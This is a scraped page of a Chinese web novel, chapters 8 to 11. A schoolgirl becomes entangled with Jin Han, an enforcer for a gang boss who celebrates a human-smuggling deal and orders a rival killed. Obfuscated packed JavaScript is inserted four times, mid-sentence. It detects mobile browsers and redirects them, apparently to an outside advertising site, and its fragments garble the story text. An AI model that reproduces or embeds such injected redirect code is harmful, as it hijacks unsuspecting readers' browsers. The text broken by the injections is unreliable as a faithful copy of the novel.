幼幼仔细回想。 是有男生找她说话,但她都只当普通同学那样礼貌回应。 也有男生给她塞各种各样的零食,不过她都拒绝了,没当回事。 怎么平时完全没留意过这些。 自从认识了靳寒这个人,连带着许多事物便无孔不入地充斥她的生活,霸占她的思绪。 好烦。 这个认知让她觉得苦恼。 等去到学校开始上第一节课后,幼幼才甩掉脑袋里乱七八糟的东西。 考上大学,早日独立,从来都是她的梦想。 * 晚上六点,联丰道红灯笼酒楼。 酒楼装修风格还停留在九十年代初期,包厢内四个老式音响放着那时的金曲,绝代芳华。 音质嘈杂,搭配銮金贴边,显得俗不可耐。 胖子上台扭了段即兴开场舞,逗得全场哈哈大笑,个个满面红光,争相举杯。 荣敏叼着雪茄稳坐主桌c位,眼尾细纹较平时更深,神情难掩得意。 “今天大家不用拘束,吃好吃好,只要别出事,上台玩双飞都行!” 周围立刻有人起哄。 “这么劲的画面怎么能只有男人?” 荣敏半起身,指着说话的那名小弟,笑道:“我允许你跟你女仔带头。” 女人挣脱开男人的怀抱,翻了个白眼,娇嗔道:“你瞎提议什么?” 荣敏今日心情好,按照酒楼最高规格28888餐标订了包厢。 煎烹椒麻澳洲肉眼皇,龙虾汤贵妃泡饭,爆汁脆皮香茅乳鸽,鹅肝安格斯牛仔粒,黑毛猪陈酿花雕酒蒸膏蟹肉,二十样菜式样样一绝。 此次去缅甸,他正式跟缅甸人签订了合约,以后不止榄洲,怕整个东南地区的人蛇买卖他都要分一杯羹。 跟着社团砍.人、争地盘那套早已过时,日异月新的新世纪,这么纯粹的傻子几乎找不到,分分钟能为了一分钱背叛关二爷。 荣敏不甘于做街头混混,只知道打架,一辈子没出息,他想挣钱。 榄洲这个地方就很好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150296|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这座充斥着贫穷、混乱,暴力的边陲小镇,外来人口居多,偷渡客就跟毒.品一样屡见不鲜。 几十年来,榄洲治安又一直不太好,正好造就了它得天独厚的犯罪环境,也滋生了以荣敏为首的黑.势力。 “我同敏哥算过的,一单我们抽利百分之四十,碰上生意好,一个月下来,分到参与的每个人的头上。”陈礼单手比出一个七,“至少这么多。” 阿彬吃着鳌虾,连壳塞进嘴里,被陈礼比的这个数字震惊到,“多少?” “可以供你飞一趟澳门赌场满足你毕生梦想,晚上约两个D罩外围住永利大皇宫共度春宵,没见过钱是不是啊?”胖子冷笑道。 靳寒勾着唇角,朝阿彬微抬下颌,“光夜场KTV每月分你的帐不够你去?” “哪里寒哥。”阿彬后知后觉反应过来自己大佬是谁,面上挂不住地干笑,“之前就去过...” 陈礼睥睨地盯着掌心转动的酒杯,也不驳他,整个人宛如胜利者的姿态,慵懒随性。 再年轻再会打又怎样,荣敏跑缅甸不还是带的他? “如果线路打通,岂不是还能走点白.粉?”陈礼旁边的男人惊喜道,“敏哥,一举两得啊!” 聊天声就这么戛然而止。 在一两秒的寂静过后,男人瞬间反应过来自己说错了话,当即就甩了自己一个响亮的耳光。 “对不起对不起敏哥...对不起,我说错话!对不起,我该死,对不起对不起……” 不碰毒,是荣敏给自己定下的铁律。 不仅自己不能碰,身边人也是。 陈礼冷笑出声,打断男人的道歉。 “嗯?卖白.粉很赚钱?你不如去卖肠粉鱼粉肥肠粉,给我滚——” “行了阿礼。”荣敏摆摆手。 他今日心情好,不想坏了氛围,示意就这么过去了。 荣敏扯过口布擦手,站起来,在火锅汤里涮毛肚,接着,话锋一转: “我说过的,一家人才可以吃同一口锅里的菜。” 他将毛肚夹到靳寒碗里。 “阿寒,这段时间辛苦你了。” “哪里。”靳寒面颊微抬,手指无意识地叩桌面,瞥向陈礼,“是我本分而已。” “嗯我知道,你一向最听我话。” 他说出这句话,靳寒就知道还有下一句等着自己。 “敏哥有什么吩咐尽管说。” 荣敏夹菜的动作一顿,用满含赞赏的目光看向靳寒,笑道:“你知不知道蒋沛在我刚回来就去了缅甸。” 包括陈礼,所有的人不约而同愣住。 “等你解决完他,我们再庆祝一次。” 8. Chapter 08 午休时间,住校生回了宿舍休息,教室里只有零星几个走读生,幼幼趴在桌子上小憩。 不知睡了多久,她被铃声叫醒。 脸颊睡出了红印子,幼幼微蹙秀眉,迷迷糊糊地揉眼睛。 待眼睛恢复清明,她看见桌面右上角多出一盒豆奶,草莓味的,还是她最喜欢喝的牌子。 想起那天程信朋跟自己说的话,幼幼尴尬地咬着下唇。 “钰湘,你知道这是谁放在这儿的吗?” “啊?不知道诶。”丁钰湘正在整理书桌,“我还以为是你买的呢。” 她刚才在校内文具店买东西,这会儿打铃了才回来。 “不是。”幼幼抿抿唇。 “那多半是哪个男生送你的。” 丁钰湘笑了笑,转过头,认认真真地端详着她,“毕竟你这么好看…幼幼,从我刚认识你就漂亮到现在。” 幼幼有些害臊,轻声道:“你也很好看。” “那是当然啦。”丁钰湘俏皮地撩起耳边碎发。 下课后,程幼幼想着将豆奶还回去。 她准备去问程信朋,他肯定知道是谁送的。 果然,刚起身朝程信朋的位置看过去,就与他对上了视线。 此时,程信朋旁边站着班里的体育委员韦钟豪。 韦钟豪的目光紧随幼幼,眼看她一步一步走来,慌张得手脚不知搁哪。 以为程信朋在跟朋友聊天,幼幼只好硬着头皮上前。 “哥,你知道这是谁放我桌上的吗?” “诶,有句俗话怎么说来的?来得早不如来得巧啊。”程信朋仰头瞅了眼韦钟豪,“这不是巧了吗?” 程幼幼,“……” 韦钟豪略显青涩,一只手摸后脑勺,一只手搓球服。 “呃…程幼幼…这个是我送你的。” “谢谢你,但我不爱喝豆奶。” 隐藏于校服后的手伸出,她将豆奶递给韦钟豪,温声道:“你以后别再送我东西了。” 韦钟豪懵了,看看程信朋又看向幼幼,“可是你哥说你最爱喝这牌子的豆奶,难不成是我味道买错了?” 程幼幼:“……” “草莓味,这也没错啊。” 程信朋略带绝望地阖上眼,把脸别向墙面。 * 晚上放学,程幼幼一个人先出了教室, “有种下次solo,约好了啊!”程信朋的吼声响彻楼层。 说完,他拎着空瘪的书包飞奔出来追上程幼幼。 “你今天干嘛拒绝韦钟豪?”程信朋有种为朋友两肋插刀那意味。 “什么叫拒绝?”幼幼没懂他的用词。 “你退还人家送你的水,不就是拒绝吗?”程信朋像是收了钱办事似的,“其实韦钟豪很好啊,长得不赖,又高,打篮球玩游戏都很厉害。” 幼幼顿了顿步伐,“所以——” “所以?” “嗯?” “所以他想你做他女朋友!”程信朋简直想给她跪了,“这下懂了吧?” 幼幼倏地汗毛竖立,当即扭头,小心翼翼地观察周围有没有人听见。 “哥,我们还在读高中,不能早恋的…” “也就你当真了。”下楼梯时,程信朋跳起来去摸天花板,没摸到,“班里谈好几对了都。” 程幼幼抿着唇,不置可否。 “就好比你哥我,已经谈第二个了,哦对了,千万不准跟我妈说啊!” “……” 这才第一个学期,程信朋居然已经交往过两个女孩子了。 幼幼不禁回想程信朋跟哪个女孩子走得比较近。思来想去,程信朋每天不是趴桌子睡觉就是打球聊游戏,一时竟想不起来。 没忍住,她八卦问道:“所以你的,女朋友…是我们班的吗?” 说到“女朋友”时她停顿了下,这三个字真烫嘴。 “对啊。”程信朋云淡风轻道。 幼幼瞪大双眼,更好奇了,“能告诉我是谁吗?我保证不跟别人说。” “还能让你知道了?我们平时都是偷偷约会的。” 幼幼心跳加速,脑海里不可抑制地浮想联翩。 电视剧里,男女主约会一般会去吃饭看电影,然后男生会送女生回家,中途可…等等,这个步骤怎么有点熟悉。 幼幼咽了抹口水。 “你长这么大还从来没跟男生约过会吧?你们女生嘴馋,我一般带我女朋友去吃东西,买个奶茶什么的。”末了,他压低嗓音,坏笑道:“不过最重要的是可以做羞羞的事。” 程信朋脸皮厚,毫不避讳:“从我第一次做就感觉发现了新大陆似的,特别爽。” “羞羞的事”具体指的什么,幼幼不敢深入想。 谈及这个十分禁忌又令人脸红心跳的话题,她腔都不敢开,只想堵住程信朋的嘴。 “说真的,你考虑考虑我兄弟呗,你放心,他就是个弱鸡,最多就敢接个吻,不会对你怎么样的。” “......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150297|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 幼幼无语至极,“我很怀疑,你真的是跟我有血缘关系的哥吗?” * 房间亮了盏幽暗的床头灯,靳寒半阖眼皮,手插口袋伫立窗边。 指尖轻轻拉开两道百叶帘,透过窗户朝外看,南角街行人匆匆,灯红酒绿。 明天便要启程缅甸,中午十二点的飞机。 魏国成倚在电视墙抽烟,感慨笑笑,“...真的叼,蒋沛根本想不到他会杀个回马枪。” 胖子坐在床边吃外卖,手机里放着美女擦边视频,含含糊糊道:“看来这次敏哥真要做绝。” 靳寒若有所思地凝视窗外,那双深邃的瞳孔隐藏着黑色的漩涡,凉意渐渐侵袭全身。 “阿成跟我一起,最多去两天,这两天内一切照旧。”靳寒看向胖子,“老规矩。” 胖子立马应声,“我明白,寒哥。” “敏哥提前联系好了枪.贩,出机场他会接应我们,你先回去休息,明天早点过来接我。” 魏国成点点头,“那我就先回去了。” 清脆的关门声随即响起,房间内只剩下靳寒和胖子俩人。 靳寒摸出一支烟叼在嘴里,手掌半笼,微弱的火光亮起,一团浓雾自眉眼散开。 “那小姑娘哥哥这几天去游戏厅没有?” 话题转变太快,胖子一下没反应过来,“啊?哪个小姑娘的哥哥?” 靳寒淡淡睨去一眼。 “哦哦哦,阿嫂的哥哥是吧,他几乎每天都来。” 说完,胖子顿了几秒,急忙道:“不过我从来没收过他钱!” 靳寒轻嗤,“谁他妈问你这个?” “那寒哥你是...” “从今以后不准他再来。” 胖子愣住了,他向来都搞不懂靳寒的性子,试探道:“寒哥,你是不是跟阿嫂吵架了?”还是分手了。 后半句他没敢问。 靳寒转过身,高大挺拔的身型几乎遮挡住整个窗户,“听不懂我说的话?” “没、没...那你不在的时候,她来找你怎么办?” 靳寒眼底划过一抹嘲意,猛吸一口烟,靠在窗沿的骨节青白。 她怎么可能会来找他。 “那就让她回去。” “还有,不准再这么叫她。” 刀尖舔血,命悬一线,他的生活犹如一张蛛网编织的黑色漩涡,只要沾上,谁也躲不开。 她可能已经发现他是个怎样的人了吧,最好,离他越远越好。 9. Chapter 09 隔天放学,快到家时,程幼幼远远地就看见一辆警车停在路边。 早餐店卷帘门被拉到最高处,在夜色中显得灯火通明。 很快,从屋内走出两名身穿警服的人,燕姨跟在后头亦步亦趋,满面笑容地说些什么。 “我靠,怎么回事?”程信朋车都没停稳就跑了过去。 “哎呀真的是…太麻烦你们了,这么晚了还给专程过来,要不然留下吃顿便饭吧,家里有菜,我这就去做,很快的!你们想吃些……” 程信朋好奇地凑上前去,刚想问燕姨什么情况时便被她凌厉的眼神制止住。 “你孩子读书回来了?”警官朝程信朋抬了抬下巴,客气道。 “诶,是啊,这是我儿子。”燕姨揽过程信朋,将手搭在他肩膀上,“一点都不懂事!大人说话你插什么嘴。” 这时另一名警官从口袋里摸出手机,瞅了眼时间。 “时候不早了,我们现在要回所里报备,吃饭就不用了,职责所在而已,想着你丢了贵重物品肯定很着急……” 他说着说着声音一滞,突然注意到一直在斜后方站着的程幼幼。 “诶,就是这个小朋友之前来派出所报案,我有印象。” 在场几人的目光顿时转向她,突然被提及,幼幼连忙应了一声。 “当时因为你不是失主本人所以没有立案,不过幸好你跑了一趟。” 警官笑着跟幼幼解释,“今天白天我们抓到这个小偷,这人是惯偷了,都不知道是几进宫,我们审他的时候,他交代了偷过你妈妈的首饰…诶,这是你女儿吧?”警官向燕姨确认道。 燕姨愣了下,仍然保持微笑,微不可察地点点头。 “你女儿懂事哦,长得还这么乖。”警官笑着摸了摸幼幼的头顶,“还在读初中吗?” 幼幼乖巧地回:“我读高一了。” 警官若有所思道,“在一中读是吧。” “嗯。” 另一名警官掏出车钥匙,“有福气啊,这么一对可爱的儿女。” 燕姨笑了笑,“哎哟,哪里哪里…” 说话间俩人已走到车旁。 “没什么事我们就先走了啊,平日里没人在家的话一定要锁好门窗,近来小偷猖獗。” 说完,他拉上车门,启动汽车。 “好,好,辛苦了啊两位!”燕姨朝逐渐驶去的警车挥手。 几秒后,车子彻底消失在街道尽头,燕姨的笑容也霎地垮下,转身进屋。 空气突然间安静下来。 程信朋还是有点不敢置信,凑到面前:“妈,他们真把首饰送我们家来了啊?” “嗯,算我运气好,听说是还没来得及去卖掉。” “我靠…你还总说警局那帮人是吃闲饭的,这不是效率挺高吗?这次多亏了妹。” 闻言,燕姨瞥了眼幼幼,欲言又止,但最后还是什么都没说便回房了。 * ——“报警有用吗?” ——“有用。” 夜里万籁俱寂,只有窗户开的小缝簌簌地灌着风。 程幼幼是听了靳寒的话才跑去派出所报案的,但那日值班民警的态度实在冷淡,跟方才那俩人简直天差地别。 在此之前,他们都认为首饰不可能找回来了。 毕竟榄洲治安一向不好,每月的失窃、斗殴,抢劫案数不胜数,当地政府也如同街坊四邻说的那样,只立案,不作为。 其实他们这些平头百姓早已对榄洲警方不抱任何希望了。 但没想到居然真的找了回来。 可是为什么呢。 他们为什么如此尽心尽力,甚至下班时间都亲自送来。 幼幼抱着枕头,侧身躺在床上,一双杏眼在夜里炯炯有神,毫无困意。 又发了会呆,她踮着脚下床,走到书桌前,从抽屉里拿出手机。 摘下手机壳后,一张无规则的纸条掉落,上面写着靳寒的微信号。 首饰找回来了,估计未来一段时间内,家中氛围不会太过压抑。 连带着她的日子也会好过许多。 要把这个消息告诉他吗? 毕竟是他的提议,况且,不知为何,她有种很强烈的预感…… 幼幼轻咬下唇,怀着忐忑的心情点开微信,添加朋友,在上方输入框中输入纸条上的微信号。 是一串电话号码。 指尖轻快地在屏幕上点,她按下搜索,可下一秒,界面显示:该用户不存在。 幼幼怔了怔,仔仔细细核对两遍,确定自己没有输错。 当初靳寒给她微信,就是为了让她还钱的,可这个微信号是错误的。 他到底是什么意思。 幼幼敛下眼皮,默了一会儿,将一切东西原封不动放好。 老旧木桌碰一碰吱呀声便响个不停,她的指尖长久地停留在抽屉把手上。 丝丝的冷意随着燥热的晚风蔓延开来。 一直到传来的敲门声才将程幼幼从一种恍惚的状态中拉回。 脑海里静得仿佛能感知空气中微粒暗涌,反应了半晌,她喃喃道:“来了。” 借着幽微的月光趿上拖鞋去开门,没想到看见的是程信朋的脸,吊儿郎当地站着。 “你,还没睡呢?”他语气有点不自在。 “还没有。”幼幼看他将手背在身后,忍不住问:“这么晚有什么事吗?” “也没什么事......就…爸刚告诉我了,我妈之前怀疑你偷她首饰,是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150298|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你去了…寄卖行。” “所以大伯叫你来跟我道歉?” “昂……”程信朋眼神飘忽不定,脚尖无意识地打转,“哦不是不是,不是这件事。” 宽大的睡裙显得幼幼更加瘦弱娇小,如纸片般薄,好似风一吹就倒。 长发服帖地垂于腰间,她抿着唇,安静地看着程信朋,眼神澄澈。 程信朋难得生出罪恶感。 估计是从小到大欺负她欺负惯了,渐渐地养成了没心没肺的性子。 “我就是来跟你说声对不起的…” 说到最后三字时他的声音骤然降低,但幼幼还是清晰听见了。 ……? 她有点懵,怀疑自己听错了。 “之前拿你手镯去典卖,是我不对,我向你道歉。” 没给幼幼留反应时间,他直接掏出一叠钱递给她,“喏,还你。” 看厚度,起码有三四千。 程幼幼不敢接,“你哪里来的这么多钱?” “我游戏卖号赚的啊,你到底要不要,我可是割肉卖血了,你不要我就把号要回来了……” 幼幼羽睫微翕,长长地舒口气,刚想说不用了,程信朋就把钱硬塞到她手上。 “……” “你拿着吧,本来就是你的钱。” 程信朋几个大跨步跑下楼梯,拖鞋碰撞地板发出哒哒哒的响声。 * 榄洲的一切都很潮湿。 深不见底的墙壁底部布满青苔,白色涂料被洇得发皱发黄,石板路缝隙蓄着小水池,空气里满是雨后的清新。 因为下过雨,升平北路行人稀少。 路边一家士多便利店的黄色招牌破得七零八碎,掉在半空持续渗着水,一滴一滴落在台球桌上。 几个混混模样的男生坐在门口聊天,看见程幼幼朝这边走互相挤眉弄眼。 寄卖行大门两侧多了两棵迎客松,苍松翠柏,雍容华贵,与俗气破旧的环境格格不入。 店里在放王菲的《只因喜欢Faye》,看不到人,却传来男人打游戏的咒骂声。 “这傻.逼射手在下路拉屎吗,你玩你妈呢,没看到龙坑在打团?他妈找个厂......” 幼幼双手绷直举在额前,脆生生问:“请问,有人吗?” 话音刚落,前台后面蹭的一下蹿出一个男人,视线紧紧盯着手机屏幕,“你先坐旁边等着,老板出去买烟了。” “...我是来找人的。” “找谁?” 幼幼咬着下唇,轻轻叫出那个名字,“靳寒。” “卧槽?!” 三秒后,手机屏幕一暗。 “Defeat——” “......” 10. Chapter 10 南角区是榄洲最混乱的地方,它的昼与夜是完全颠倒的。 白天这里荒凉寂静,华灯初上,所有娱乐场所门庭若市,街头就算在砍人也不会影响到路灯下的情侣接吻,属于三不管地带。 靳寒就住在这里。 现在是下午,街上没什么人,路边垃圾成堆,呕吐物发酵后的酸味臭气熏天。 这一片建筑风格都是欧式老洋房,楼层不高,乳白色的外漆发黄,更多的掉了,露出原本的水泥色。 男人走到一家迪吧门口,将旁边小门推开,是一条通往地下的楼梯。 进入潮湿逼仄的地下通道,刺鼻的酒精和劣质香水味扑面而来,幼幼下意识捂住口鼻。 台阶两旁的墙面上贴着五花八门的小广告,清纯女大学生上.门.服.务;某某某一双手,悬赏五万;办.证盖章;高薪出国,月入十万。 还有恐怖涂鸦,表白求偶,乱七八糟什么都有,透露着诡异夸张的气息。 往下走两层台阶,就来到了大厅。 大厅人很多,天花板低,烟雾缭绕,灯光昏暗,刚进来就有种窒息的感觉。 中央架着几张台球桌,旁边有吧台,四周有小包厢,机麻声隔着层墙壁也能感受到里头的热火朝天。 休息区的沙发上挤着一堆男男女女,每个人身上都有纹身,女孩们穿着短裤露脐上衣,画着烟熏妆,抽烟摇骰子,年轻又颓废。 他们就像被外面世界抛弃一般,混迹在这个地下王国,醉生梦死。 程幼幼穿着校服,扎着马尾,脸蛋干净白皙,此时此刻就如同一个异类。 十几二十道目光落在她身上,落在她穿的校服上,交织的目光中尽是嘲讽和鄙夷。 幼幼听见一道女声骂了句脏话,又说:“装什么装。” 无暇顾及。 过度浓烈的烟雾熏得她直想咳嗽,一双杏眸泛红,像只受到惊吓的小兔。 “你在这里等一下,我去找他。”男人掏出手机翻通讯录,“多半是在哪个包厢。” 幼幼边咳嗽边说了声谢谢。 “小美,叫前台泡杯苦荞。” 一个女人从包厢内探出半截身子。 吧台处的服务员听到了,连忙大声回她:“菀姐,苦荞没有了。” “诶,菀姐。”男人眼睛一亮,冲女人抬了下手。 幼幼循着男人视线看过去,下一秒就跟女人的眼神在空气中碰撞。 被唤作“菀姐”的女人正款款朝这儿走来。 跟大厅这群看起来脏兮兮的女孩不一样,她没有纹身,肤白,穿着白色吊带长裙,一头棕色卷发妩媚而优雅。 “这女孩是谁,怎么进来的?”白菀的注意力首先集中在程幼幼身上。 “我带进来的,她找寒哥,你看见寒哥人没?” 得知她是来找靳寒的,白菀眉梢轻挑,环抱起胳膊。 “行,阿寒在我刚出来的包厢里。” 白菀盯着程幼幼,慢慢地说:“你去叫他吧,顺便带杯擂茶,他也爱喝这个。” 听她的口气,似乎跟靳寒很熟稔,并且地位不低。 男人面色平常,应了一声便朝吧台走。 就剩程幼幼跟白菀面对面站着,周围也越来越多的人打量她,伴随着阴阳怪气的挤眉弄眼。 幼幼耳朵有点烧,她止不住地咳嗽,有种走错片场的突兀与无措。 半晌,男人端着茶进包厢。 白菀看着房门关上,回头,勾唇道: “小妹,找阿寒有什么事?你也可以跟我说。” 白菀态度挺温柔,声音清亮。 幼幼强忍咳嗽,磕磕绊绊地说:“我,我找他、还钱…” 白菀愣了一秒,随即恢复如常。 现在他们放贷都放到学生身上了? 但这个念头只在白菀脑中过了一瞬。她很快意识到,就算是还钱,也不可能绕过那么多人直接找到靳寒。 她没再搭腔,也没离开,而是等着靳寒出来。 很快,包厢房门打开,靳寒几乎直逼天花板的身高就这么跌进众人视野。 他嘴里叼着烟,眼皮微掀,淡淡地看了一眼程幼幼。 这就是这一瞬,白菀意识到不对劲。 他从没这样看过一个女人,包括自己。 白菀叫了一声:“阿寒。” 他没应。 烟头被摁在墙上,那点星火灭了,又跌落在脏得看不出颜色的地毯上。 “谁让你带她过来的?” 男人解释:“她说找你有正……” 墙边的垃圾桶被猛得踢飞,塑料外壳砸在吧台桌下,垃圾甩得满地都是。 靳寒脸色沉得吓人,看着男人,“谁他妈让你带她过来的?!” 大厅忽然安静下来。 没人知道靳寒为什么突然发火,旁人看来,他虽然性子冷漠,给人距离感强,但情绪还算稳定,至少不会像现在这样失控。 男人懵圈,支支吾吾地不敢说话。 幼幼也被吓到了。 白菀深吸一口气,维持着体面的微笑,朝他走过去。 “阿寒,发那么大脾气干嘛?” 靳寒冷着脸,眼神在程幼幼身上就没挪开过,下颚紧绷成一条凌利的直线,随时会崩塌。 他好像真的生气了。 幼幼强忍难受,嗓音娇软,“你…别气呀。” 靳寒呼吸滞了一瞬,而后开始紊乱、颤抖。 傻子都能看出他们关系不一般了,更何况一直痴恋靳寒的白菀。 她知道靳寒对女人没什么兴趣,自己能在他身边,偶尔说得上话,就已经很庆幸。 所以一直以来,在很多人心里,她就等同于靳寒的女朋友,就算现在不是,未来也一定会是。 这个不知从哪冒出来的女孩,绝对绝对不能凌驾于自己头上。 白菀暗自咬了咬牙,面不改色地去碰靳寒的肩膀:“阿寒,有什么事我帮你处理吧,你要不先……” “这里有你什么事?” “……” 她的手一点点抽离。 靳寒一点面子都没给白菀留。 休息区的人面面相觑,半点声响不敢弄出来。 “从哪来回哪去,现在,立刻,消失在我面前。” 程幼幼知道,他这句话是对自己说的。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150299|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强忍着难受,吸了下鼻子。 “我是来还你钱的。”还有一些话想对你说。 她从口袋里摸出一叠钱,还是程信朋塞给自己时的样子。 靳寒朝旁边杵着的男人使了个眼色,男人会意,上前拿钱。 “好了,滚吧。” 程幼幼身子一僵,怔怔地望着靳寒的眼睛。 而靳寒始终阴沉着脸,仿佛在她身上一秒钟都不愿浪费。 没来由的狠戾不禁让幼幼怀疑她是不是哪做错了。 白菀小心翼翼地挽上靳寒的胳膊,友好地笑笑:“小妹妹,在阿寒发火前赶紧走吧。” 靳寒没有推开白菀,保持着姿势没动。 ...... 心被狠狠揪紧。 屈辱感,伤心,不解,不管是身体上还是心灵上的难受都有。 程幼幼不知道自己是怎么转身迈出这一步的。 她能做到不在乎周围人的嘲讽,可忘不掉靳寒冷漠的表情,还有那句“滚吧”。 两秒后,包厢房门又开了。 荣敏一脸茫然:“谁能告诉我发生了什么事情?” 这话一出,包厢里跟着出来了许多人,大厅再次引发了一小股躁动。 听见声音,程幼幼脚步一顿,回头。 靳寒捏紧拳头,绝望地阖上眼。 荣敏看了眼程幼幼,再把目光转向靳寒,“阿寒,怎么了?” 靳寒侧过身子,表面风平浪静,“没什么,我们继续吧。” “啧...那不是阿寒小女友吗,走那么快干嘛,过来一起玩。”陈礼倚靠着房门,放肆地笑。 所有人的视线再次回到程幼幼身上。 荣敏眼里滑过一抹惊诧。 靳寒不近女色几乎人尽皆知,他甚至怀疑他是基佬,没想到居然喜欢学生妹这款,怪不得从前多次撮合他和白菀都以失败告终。 不过能理解,本身他年纪也不大。 荣敏手指向程幼幼:“阿寒,这是你女朋友?” 靳寒笑得有点痞,“什么女朋友?随便玩玩而已,不过现在已经腻了。” 荣敏到底不是二十出头的毛头小子,他悠悠笑道:“腻了,我是不是经常教你别轻易玩弄女孩子的感情?” “没办法。”靳寒不耐烦地啧一声,“这女的太烦,就借过她一回钱,没想到到后面甩都甩不掉,迟早影响老子做正事。” 没人知道靳寒说出这些话时的心情。 就像心被割了一刀,粼粼地往外渗血。 陈礼把玩着打火机,不屑地笑笑,明显不信他的话。 这下荣敏不吭声了。 “阿成。” “在。” “把那女的给我撵出去,越远越好,别他妈让我再看到她。” 话音落地。 迎着几十个人的目光。 程幼幼一边走、一边哭,一边咳嗽。 泪水模糊视线,她磕磕绊绊地爬着台阶,细嫩白皙的手臂扶着墙壁,瘦得可怜。 像只瓷娃娃,一碰便会碎成一地。 直到少女的身影消失,靳寒才转身进包厢,其余人也陆陆续续地跟进去。 11. Chapter 11 这场闹剧就这么稀里糊涂地结束了。 门刚关上,靳寒拉椅子入座,单手将牌码推倒,低头点了支烟。 白菀没有再坐在他身边,而是靠着墙,盯着绿色麻将桌的某一点出神。 “咔咔”两声,一溜白烟袅袅升起,荣敏眯着眼吸了口烟,舒出一口满足的吐息。 小弟摁下按钮,将桌面上打到一半的麻将放进去,又重新洗了一副出来。 迟迟没人开口说话。 包厢内的气氛无故增添了几丝诡异。 靳寒从缅甸回来后就一直这样,冷着脸,公司里除荣敏以外,几乎没人敢主动搭腔。 刚刚又目睹他发火,这下连开点玩笑说些浑话都不敢了。 搞不懂,照理说这趟挺顺利,怎么就因为个女人冒这么大火。 阿彬偷偷睨几位大佬的脸色,犹豫再三还是选择缄默。 这样一闹,荣敏打麻将的心情全无。 “阿寒留下,其余人都出去吧。”荣敏大发慈悲开口。 胳膊肘搭在沙发扶手上,夹着烟的手指扫了一圈周围站着的人。 被扫到的人解脱似的走出包厢。 玫红甲片陷入掌心,白菀试探地瞟了眼荣敏,后者神色未变,她叹口气,不甘心地出了去。 “阿寒,你很中意那个女孩。” 脚步声和桌子挪动声消停后,荣敏笃定地说道。 漆黑的额发有些遮挡视线,他半阖着眼皮,眼神淡漠阴冷,不置可否。 “你这个年纪的男人,喜欢一个人是藏不住的,我也理解你刚刚的所作所为。” 荣敏云淡风轻,“我知道,无非就是想保护她,不想让她接触我们这帮人,可是你别忘了,阿寒,你自己是做什么的,你的人生是怎么样的,只要上了这条船,这辈子都洗不清的,自己好好想想。” 静静听他说完后,靳寒眸色闪烁,难得吐露真心话:“她跟我不是一个世界的人。”不管是作为哪个身份。 气氛霎地鸦雀无声。 一秒、两秒…… 荣敏突然“嗬嗬”笑出声:“…我真是想不到,这种话居然从你的嘴里说出来。以前觉得你无欲无求,对钱没兴趣,不买楼买车,不追求名牌,甚至女人都不玩,阿寒啊,我都不知道该拿什么留住你。” 靳寒心一紧,抬眸瞥他。 “别紧张,听我说完。” 隔了半个钟,空调开启换气,徐徐灌着凉风。 荣敏拿起手边的氤氲热茶,仰头轻抿,接着话锋一转,“你跟阿礼最大的差别在哪,你请不清楚?” 靳寒姿态谦卑:“敏哥请讲。” “一个字,贪。”荣敏简明扼要。 “他太贪。榄洲、乃至整个G省不止我一家,个个都想做大做强登福布斯富豪榜,那是势必要踩在别人的尸骨上,你说,会不会有一天连我都被他踩在脚下?你们两个是两种极端,这么两个人放在身边,我该全心全意重用哪个才比较好?” 荣敏这段话颇有挑拨离间的意味,其实这也是他的本意。一个公司容不下两个平起平坐的人,不然迟早崩塌瓦解。 “所以阿寒,你敢于向我承认你中意那个小姑娘,我很开心。” 靳寒咬紧牙关,刀削般的下颌线清晰分明,“你的意思是……” “上头又有生意,这回你去办,别让我失望。” 靳寒愣了愣。 “那个小姑娘我不会动她,至于你要不要再去找她全凭你心意,只要不触及我的底线。” “多谢敏哥,你放心,我拎得清。” 天色起了一层薄暮, 南角道街头灯光点点,无边无际的天空尽头残留着一条血痕。 荣敏一行人去了酒吧,喝完散场已经是凌晨十二点。 出来的时候靳寒有些站不稳。 并不嗜酒的他刚刚不知喝了多少,潜意识里有种想靠酒精麻痹自己的蛊惑感。 于是他不停喝。 